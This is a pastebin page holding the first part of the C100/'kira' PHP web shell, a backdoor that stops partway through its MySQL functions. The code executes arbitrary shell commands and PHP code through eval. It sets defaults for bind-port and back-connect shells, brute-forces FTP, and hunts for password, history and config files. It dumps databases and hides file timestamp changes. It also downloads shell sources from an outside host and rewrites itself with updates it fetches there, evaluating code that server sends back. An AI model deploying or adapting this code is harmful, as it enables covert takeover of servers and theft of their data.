C100 PHP

From BX404, 1 Year ago, written in Plain Text, viewed 3'599 times.
URL http://paste.security-portal.cz/view/01ce2bc2 Shorturl Error: Input provided by user is not valid Embed
Download Paste or View Raw
  1. <?php
  2. //Starting calls
  3. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  4. error_reporting(5);
  5. @ignore_user_abort(TRUE);
  6. @set_magic_quotes_runtime(0);
  7. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  8. define("starttime",getmicrotime());
  9. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  10. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  11. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  12.  
  13. $shver = "Shell [ci] .Biz was here"; //Current version
  14. //CONFIGURATION AND SETTINGS
  15. if (!empty($unset_surl)) {setcookie("k1r4_surl"); $surl = "";}
  16. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("k1r4_surl",$surl);}
  17. else {$surl = $_REQUEST["k1r4_surl"]; //Set this cookie for manual SURL
  18. }
  19.  
  20. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  21.  
  22. if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  23. if (empty($surl))
  24. {
  25.  $surl = "?".$includestr; //Self url
  26. }
  27. $surl = htmlspecialchars($surl);
  28.  
  29. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  30.  
  31.  
  32. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  33. $login_txt = "Restricted area"; //http-auth message.
  34. $accessdeniedmess = " Shell [ci] . Biz ".$shver.": access denied";
  35.  
  36. $gzipencode = TRUE; //Encode with gzip?
  37.  
  38. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  39.  
  40. $k1r4_updateurl = "http://emp3ror.com/kira//update/"; //Update server
  41. $k1r4_sourcesurl = "http://emp3ror.com/kira/"; //Sources-server
  42.  
  43. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  44.  
  45. $donated_html = "<center><b>Owned by Shell [ci] .Biz</b></center>";
  46. /* If you publish free shell and you wish
  47. add link to your site or any other information,
  48. put here your html. */
  49. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  50.  
  51. $curdir = "./"; //start folder
  52. //$curdir = getenv("DOCUMENT_ROOT");
  53. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  54. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  55.  
  56. $log_email = "BACkdoor Removed by BX404"; //Default e-mail for sending logs
  57.  
  58. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  59. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  60.  
  61. // Registered file-types.
  62. //  array(
  63. //   "{action1}"=>array("ext1","ext2","ext3",...),
  64. //   "{action2}"=>array("ext4","ext5","ext6",...),
  65. //   ...
  66. //  )
  67. $ftypes  = array(
  68.  "html"=>array("html","htm","shtml"),
  69.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  70.  "exe"=>array("sh","install","bat","cmd"),
  71.  "ini"=>array("ini","inf"),
  72.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  73.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  74.  "sdb"=>array("sdb"),
  75.  "phpsess"=>array("sess"),
  76.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  77. );
  78.  
  79. // Registered executable file-types.
  80. //  array(
  81. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  82. //   ...
  83. //  )
  84. //   {command}: %f% = filename
  85. $exeftypes  = array(
  86.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  87.  "perl %f%" => array("pl","cgi")
  88. );
  89.  
  90. /* Highlighted files.
  91.   array(
  92.    i=>array({regexp},{type},{opentag},{closetag},{break})
  93.    ...
  94.   )
  95.   string {regexp} - regular exp.
  96.   int {type}:
  97. 0 - files and folders (as default),
  98. 1 - files only, 2 - folders only
  99.   string {opentag} - open html-tag, e.g. "<b>" (default)
  100.   string {closetag} - close html-tag, e.g. "</b>" (default)
  101.   bool {break} - if TRUE and found match then break
  102. */
  103. $regxp_highlight  = array(
  104.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  105.   array("config.php",1) // example
  106. );
  107.  
  108. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  109.  // array (i=>{letter} ...); string {letter} - letter of a drive
  110. //$safemode_diskettes = range("a","z");
  111. $hexdump_lines = 8;// lines in hex preview file
  112. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  113.  
  114. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  115.  
  116. $bindport_pass = "k1r4";  // default password for binding
  117. $bindport_port = "31373"; // default port for binding
  118. $bc_port = "31373"; // default port for back-connect
  119. $datapipe_localport = "8081"; // default port for datapipe
  120.  
  121. // Command-aliases
  122. if (!$win)
  123. {
  124.  $cmdaliases = array(
  125.   array("-----------------------------------------------------------", "ls -la"),
  126.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  127.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  128.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  129.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  130.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  131.   array("find config* files", "find / -type f -name \"config*\""),
  132.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  133.   array("find all writable folders and files", "find / -perm -2 -ls"),
  134.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  135.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  136.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  137.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  138.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  139.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  140.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  141.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  142.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  143.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  144.   array("show opened ports", "netstat -an | grep -i listen")
  145.  );
  146. }
  147. else
  148. {
  149.  $cmdaliases = array(
  150.   array("-----------------------------------------------------------", "dir"),
  151.   array("show opened ports", "netstat -an")
  152.  );
  153. }
  154.  
  155. $sess_cookie = "k1r4vars"; // Cookie-variable name
  156.  
  157. $usefsbuff = TRUE; //Buffer-function
  158. $copy_unset = FALSE; //Remove copied files from buffer after pasting
  159.  
  160. //Quick launch
  161. $quicklaunch = array(
  162.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  163.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  164.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  165.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  166.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  167.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  168.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  169.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  170.  array("<b>Tools</b>",$surl."act=tools&d=%d"),
  171.  array("<b>Proc.</b>",$surl."act=processes&d=%d"),
  172.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  173.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  174.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  175.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  176.  array("<b>Update</b>",$surl."act=update&d=%d"),
  177.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  178.  array("<b>Self remove</b>",$surl."act=selfremove"),
  179.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  180. );
  181.  
  182. //Highlight-code colors
  183. $highlight_background = "#c0c0c0";
  184. $highlight_bg = "#FFFFFF";
  185. $highlight_comment = "#6A6A6A";
  186. $highlight_default = "#0000BB";
  187. $highlight_html = "#1300FF";
  188. $highlight_keyword = "#007700";
  189. $highlight_string = "#000000";
  190.  
  191. @$f = $_REQUEST["f"];
  192. @extract($_REQUEST["k1r4cook"]);
  193.  
  194. //END CONFIGURATION
  195.  
  196.  
  197. // \/Next code isn't for editing\/
  198. @set_time_limit(0);
  199. $tmp = array();
  200. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  201. $s = "!^(".implode("|",$tmp).")$!i";
  202. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://google.com/releases/ckira\">kira</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  203. if (!empty($login))
  204. {
  205.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  206.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  207.  {
  208.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  209.   header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\"");
  210.   header("HTTP/1.0 401 Unauthorized");
  211.   exit($accessdeniedmess);
  212.  }
  213. }
  214. if ($act != "img")
  215. {
  216. $lastdir = realpath(".");
  217. chdir($curdir);
  218. if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;}
  219. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  220. if (!is_array($sess_data)) {$sess_data = array();}
  221. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  222. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  223.  
  224. $disablefunc = @ini_get("disable_functions");
  225. if (!empty($disablefunc))
  226. {
  227.  $disablefunc = str_replace(" ","",$disablefunc);
  228.  $disablefunc = explode(",",$disablefunc);
  229. }
  230.  
  231. if (!function_exists("k1r4_buff_prepare"))
  232. {
  233. function k1r4_buff_prepare()
  234. {
  235.  global $sess_data;
  236.  global $act;
  237.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  238.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  239.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  240.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  241.  sort($sess_data["copy"]);
  242.  sort($sess_data["cut"]);
  243.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  244.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  245. }
  246. }
  247. k1r4_buff_prepare();
  248. if (!function_exists("k1r4_sess_put"))
  249. {
  250. function k1r4_sess_put($data)
  251. {
  252.  global $sess_cookie;
  253.  global $sess_data;
  254.  k1r4_buff_prepare();
  255.  $sess_data = $data;
  256.  $data = serialize($data);
  257.  setcookie($sess_cookie,$data);
  258. }
  259. }
  260. foreach (array("sort","sql_sort") as $v)
  261. {
  262.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  263.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  264. }
  265. if ($sort_save)
  266. {
  267.  if (!empty($sort)) {setcookie("sort",$sort);}
  268.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  269. }
  270. if (!function_exists("str2mini"))
  271. {
  272. function str2mini($content,$len)
  273. {
  274.  if (strlen($content) > $len)
  275.  {
  276.   $len = ceil($len/2) - 2;
  277.   return substr($content, 0,$len)."...".substr($content,-$len);
  278.  }
  279.  else {return $content;}
  280. }
  281. }
  282. if (!function_exists("view_size"))
  283. {
  284. function view_size($size)
  285. {
  286.  if (!is_numeric($size)) {return FALSE;}
  287.  else
  288.  {
  289.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  290.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  291.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  292.   else {$size = $size . " B";}
  293.   return $size;
  294.  }
  295. }
  296. }
  297. if (!function_exists("fs_copy_dir"))
  298. {
  299. function fs_copy_dir($d,$t)
  300. {
  301.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  302.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  303.  $h = opendir($d);
  304.  while (($o = readdir($h)) !== FALSE)
  305.  {
  306.   if (($o != ".") and ($o != ".."))
  307.   {
  308.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  309.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  310.    if (!$ret) {return $ret;}
  311.   }
  312.  }
  313.  closedir($h);
  314.  return TRUE;
  315. }
  316. }
  317. if (!function_exists("fs_copy_obj"))
  318. {
  319. function fs_copy_obj($d,$t)
  320. {
  321.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  322.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  323.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  324.  if (is_dir($d))
  325.  {
  326.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  327.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  328.   return fs_copy_dir($d,$t);
  329.  }
  330.  elseif (is_file($d)) {return copy($d,$t);}
  331.  else {return FALSE;}
  332. }
  333. }
  334. if (!function_exists("fs_move_dir"))
  335. {
  336. function fs_move_dir($d,$t)
  337. {
  338.  $h = opendir($d);
  339.  if (!is_dir($t)) {mkdir($t);}
  340.  while (($o = readdir($h)) !== FALSE)
  341.  {
  342.   if (($o != ".") and ($o != ".."))
  343.   {
  344.    $ret = TRUE;
  345.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  346.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  347.    if (!$ret) {return $ret;}
  348.   }
  349.  }
  350.  closedir($h);
  351.  return TRUE;
  352. }
  353. }
  354. if (!function_exists("fs_move_obj"))
  355. {
  356. function fs_move_obj($d,$t)
  357. {
  358.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  359.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  360.  if (is_dir($d))
  361.  {
  362.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  363.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  364.   return fs_move_dir($d,$t);
  365.  }
  366.  elseif (is_file($d))
  367.  {
  368.   if(copy($d,$t)) {return unlink($d);}
  369.   else {unlink($t); return FALSE;}
  370.  }
  371.  else {return FALSE;}
  372. }
  373. }
  374. if (!function_exists("fs_rmdir"))
  375. {
  376. function fs_rmdir($d)
  377. {
  378.  $h = opendir($d);
  379.  while (($o = readdir($h)) !== FALSE)
  380.  {
  381.   if (($o != ".") and ($o != ".."))
  382.   {
  383.    if (!is_dir($d.$o)) {unlink($d.$o);}
  384.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  385.   }
  386.  }
  387.  closedir($h);
  388.  rmdir($d);
  389.  return !is_dir($d);
  390. }
  391. }
  392. if (!function_exists("fs_rmobj"))
  393. {
  394. function fs_rmobj($o)
  395. {
  396.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  397.  if (is_dir($o))
  398.  {
  399.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  400.   return fs_rmdir($o);
  401.  }
  402.  elseif (is_file($o)) {return unlink($o);}
  403.  else {return FALSE;}
  404. }
  405. }
  406. if (!function_exists("myshellexec"))
  407. {
  408. function myshellexec($cmd)
  409. {
  410.  global $disablefunc;
  411.  $result = "";
  412.  if (!empty($cmd))
  413.  {
  414.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  415.   elseif (($result = `$cmd`) !== FALSE) {}
  416.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  417.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  418.   elseif (is_resource($fp = popen($cmd,"r")))
  419.   {
  420.    $result = "";
  421.    while(!feof($fp)) {$result .= fread($fp,1024);}
  422.    pclose($fp);
  423.   }
  424.  }
  425.  return $result;
  426. }
  427. }
  428. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  429. if (!function_exists("view_perms"))
  430. {
  431. function view_perms($mode)
  432. {
  433.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  434.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  435.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  436.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  437.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  438.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  439.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  440.  else {$type = "?";}
  441.  
  442.  $owner["read"] = ($mode & 00400)?"r":"-";
  443.  $owner["write"] = ($mode & 00200)?"w":"-";
  444.  $owner["execute"] = ($mode & 00100)?"x":"-";
  445.  $group["read"] = ($mode & 00040)?"r":"-";
  446.  $group["write"] = ($mode & 00020)?"w":"-";
  447.  $group["execute"] = ($mode & 00010)?"x":"-";
  448.  $world["read"] = ($mode & 00004)?"r":"-";
  449.  $world["write"] = ($mode & 00002)? "w":"-";
  450.  $world["execute"] = ($mode & 00001)?"x":"-";
  451.  
  452.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  453.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  454.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  455.  
  456.  return $type.join("",$owner).join("",$group).join("",$world);
  457. }
  458. }
  459. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  460. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  461. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  462. if (!function_exists("parse_perms"))
  463. {
  464. function parse_perms($mode)
  465. {
  466.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  467.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  468.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  469.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  470.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  471.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  472.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  473.  else {$t = "?";}
  474.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  475.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  476.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  477.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  478. }
  479. }
  480. if (!function_exists("parsesort"))
  481. {
  482. function parsesort($sort)
  483. {
  484.  $one = intval($sort);
  485.  $second = substr($sort,-1);
  486.  if ($second != "d") {$second = "a";}
  487.  return array($one,$second);
  488. }
  489. }
  490. if (!function_exists("view_perms_color"))
  491. {
  492. function view_perms_color($o)
  493. {
  494.  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  495.  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  496.  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  497. }
  498. }
  499. if (!function_exists("k1r4getsource"))
  500. {
  501. function k1r4getsource($fn)
  502. {
  503.  global $k1r4_sourcesurl;
  504.  $array = array(
  505.   "k1r4_bindport.pl" => "k1r4_bindport_pl.txt",
  506.   "k1r4_bindport.c" => "k1r4_bindport_c.txt",
  507.   "k1r4_backconn.pl" => "k1r4_backconn_pl.txt",
  508.   "k1r4_backconn.c" => "k1r4_backconn_c.txt",
  509.   "k1r4_datapipe.pl" => "k1r4_datapipe_pl.txt",
  510.   "k1r4_datapipe.c" => "k1r4_datapipe_c.txt",
  511.  );
  512.  $name = $array[$fn];
  513.  if ($name) {return file_get_contents($k1r4_sourcesurl.$name);}
  514.  else {return FALSE;}
  515. }
  516. }
  517. if (!function_exists("k1r4_getupdate"))
  518. {
  519. function k1r4_getupdate($update = TRUE)
  520. {
  521.  $url = $GLOBALS["k1r4_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  522.  $data = @file_get_contents($url);
  523.  if (!$data) {return "Can't connect to update-server!";}
  524.  else
  525.  {
  526.   $data = ltrim($data);
  527.   $string = substr($data,3,ord($data{2}));
  528.   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  529.   if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  530.   if ($data{0} == "\x99" and $data{1} == "\x03")
  531.   {
  532.    $string = explode("\x01",$string);
  533.    if ($update)
  534.    {
  535.     $confvars = array();
  536.     $sourceurl = $string[0];
  537.     $source = file_get_contents($sourceurl);
  538.     if (!$source) {return "Can't fetch update!";}
  539.     else
  540.     {
  541.      $fp = fopen(__FILE__,"w");
  542.      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  543.      else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
  544.     }
  545.    }
  546.    else {return "New version are available: ".$string[1];}
  547.   }
  548.   elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  549.   else {return "Error in protocol: segmentation failed! (".$data.") ";}
  550.  }
  551. }
  552. }
  553. if (!function_exists("mysql_dump"))
  554. {
  555. function mysql_dump($set)
  556. {
  557.  global $shver;
  558.  $sock = $set["sock"];
  559.  $db = $set["db"];
  560.  $print = $set["print"];
  561.  $nl2br = $set["nl2br"];
  562.  $file = $set["file"];
  563.  $add_drop = $set["add_drop"];
  564.  $tabs = $set["tabs"];
  565.  $onlytabs = $set["onlytabs"];
  566.  $ret = array();
  567.  $ret["err"] = array();
  568.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  569.  if (empty($db)) {$db = "db";}
  570.  if (empty($print)) {$print = 0;}
  571.  if (empty($nl2br)) {$nl2br = 0;}
  572.  if (empty($add_drop)) {$add_drop = TRUE;}
  573.  if (empty($file))
  574.  {
  575.   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  576.  }
  577.  if (!is_array($tabs)) {$tabs = array();}
  578.  if (empty($add_drop)) {$add_drop = TRUE;}
  579.  if (sizeof($tabs) == 0)
  580.  {
  581.   // retrive tables-list
  582.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  583.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  584.  }
  585.  $out = "# Dumped by kira.SQL v. ".$shver."
  586. # Home page: http://google.com
  587. #
  588. # Host settings:
  589. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  590. # Date: ".date("d.m.Y H:i:s")."
  591. # DB: \"".$db."\"
  592. #---------------------------------------------------------
  593. ";
  594.  $c = count($onlytabs);
  595.  foreach($tabs as $tab)
  596.  {
  597.   if ((in_array($tab,$onlytabs)) or (!$c))
  598.   {
  599.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  600.    // recieve query for create table structure
  601.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  602.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  603.    else
  604.    {
  605.     $row = mysql_fetch_row($res);
  606.     $out .= $row["1"].";\n\n";
  607.     // recieve table variables
  608.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  609.     if (mysql_num_rows($res) > 0)
  610.     {
  611.      while ($row = mysql_fetch_assoc($res))
  612.      {
  613.       $keys = implode("`, `", array_keys($row));
  614.       $values = array_values($row);
  615.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  616.       $values = implode("', '", $values);
  617.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  618.       $out .= $sql;
  619.      }
  620.     }
  621.    }
  622.   }
  623.  }
  624.  $out .= "#---------------------------------------------------------------------------------\n\n";
  625.  if ($file)
  626.  {
  627.   $fp = fopen($file, "w");
  628.   if (!$fp) {$ret["err"][] = 2;}
  629.   else
  630.   {
  631.    fwrite ($fp, $out);
  632.    fclose ($fp);
  633.   }
  634.  }
  635.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  636.  return $out;
  637. }
  638. }
  639. if (!function_exists("mysql_buildwhere"))
  640. {
  641. function mysql_buildwhere($array,$sep=" and",$functs=array())
  642. {
  643.  if (!is_array($array)) {$array = array();}
  644.  $result = "";
  645.  foreach($array as $k=>$v)
  646.  {
  647.   $value = "";
  648.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  649.   $value .= "'".addslashes($v)."'";
  650.   if (!empty($functs[$k])) {$value .= ")";}
  651.   $result .= "`".$k."` = ".$value.$sep;
  652.  }
  653.  $result = substr($result,0,strlen($result)-strlen($sep));
  654.  return $result;
  655. }
  656. }
  657. if (!function_exists("mysql_fetch_all"))
  658. {
  659. function mysql_fetch_all($query,$sock)
  660. {
  661.  if ($sock) {$result = mysql_query($query,$sock);}
  662.  else {$result = mysql_query($query);}
  663.  $array = array();
  664.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  665.  mysql_free_result($result);
  666.  return $array;
  667. }
  668. }
  669. if (!function_exists("mysql_smarterror"))
  670. {
  671. function mysql_smarterror($type,$sock)
  672. {
  673.  if ($sock) {$error = mysql_error($sock);}
  674.  else {$error = mysql_error();}
  675.  $error = htmlspecialchars($error);
  676.  return $error;
  677. }
  678. }
  679. if (!function_exists("mysql_query_form"))
  680. {
  681. function mysql_query_form()
  682. {
  683.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  684.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  685.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  686.  if ((!$submit) or ($sql_act))
  687.  {
